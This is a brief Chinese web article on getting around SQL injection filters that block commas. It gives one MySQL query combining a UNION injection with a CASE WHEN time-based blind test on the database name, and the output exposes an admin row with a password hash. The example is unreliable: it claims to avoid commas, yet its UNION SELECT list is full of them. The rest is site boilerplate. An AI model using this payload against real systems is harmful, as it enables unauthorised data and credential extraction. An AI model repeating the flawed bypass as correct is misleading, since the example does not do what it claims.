sql注入过滤逗号的解决方法:通过case when then绕过,例如:Mysql> select * from lbcms_admin where a
sql注入过滤逗号的解决方法:
通过case when then绕过,例如:
Mysql> select * from lbcms_admin where adminname like "%a%" uNIOn select 1,2,3,4,5,6,7,case when substr(database() from 1 for 1) = 'l' then sleep(3) else 0 end;+----+-----------+-----------------+----------+-------------+------------+-----------+---------------------+
| ID | adminName | adminPassWord | adminLov | adminConfig | adminClass | adminLock | adminDate |
+----+-----------+-----------------+----------+-------------+------------+-----------+---------------------+
| 1 | admin | a797ba2993304483f0d180e25d14319a | 520 | | NULL | SgrRUQ | 2010-04-14 00:00:00 |
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 0 |
+----+-----------+-----------------+----------+-------------+------------+-----------+---------------------+
2 rows in set (3.00 sec)
--结束END--
本文标题: sql注入过滤逗号怎么办
本文链接: https://www.lsjlt.com/news/114564.html(转载时请注明来源链接)
有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341
下载Word文档到电脑,方便收藏和打印~
2024-05-12
2024-05-12
2024-05-12
2024-05-12
2024-05-12
2024-05-12
2024-05-12
2024-05-12
2024-05-12
2024-05-12
回答
回答
回答
回答
回答
回答
回答
回答
回答
回答
0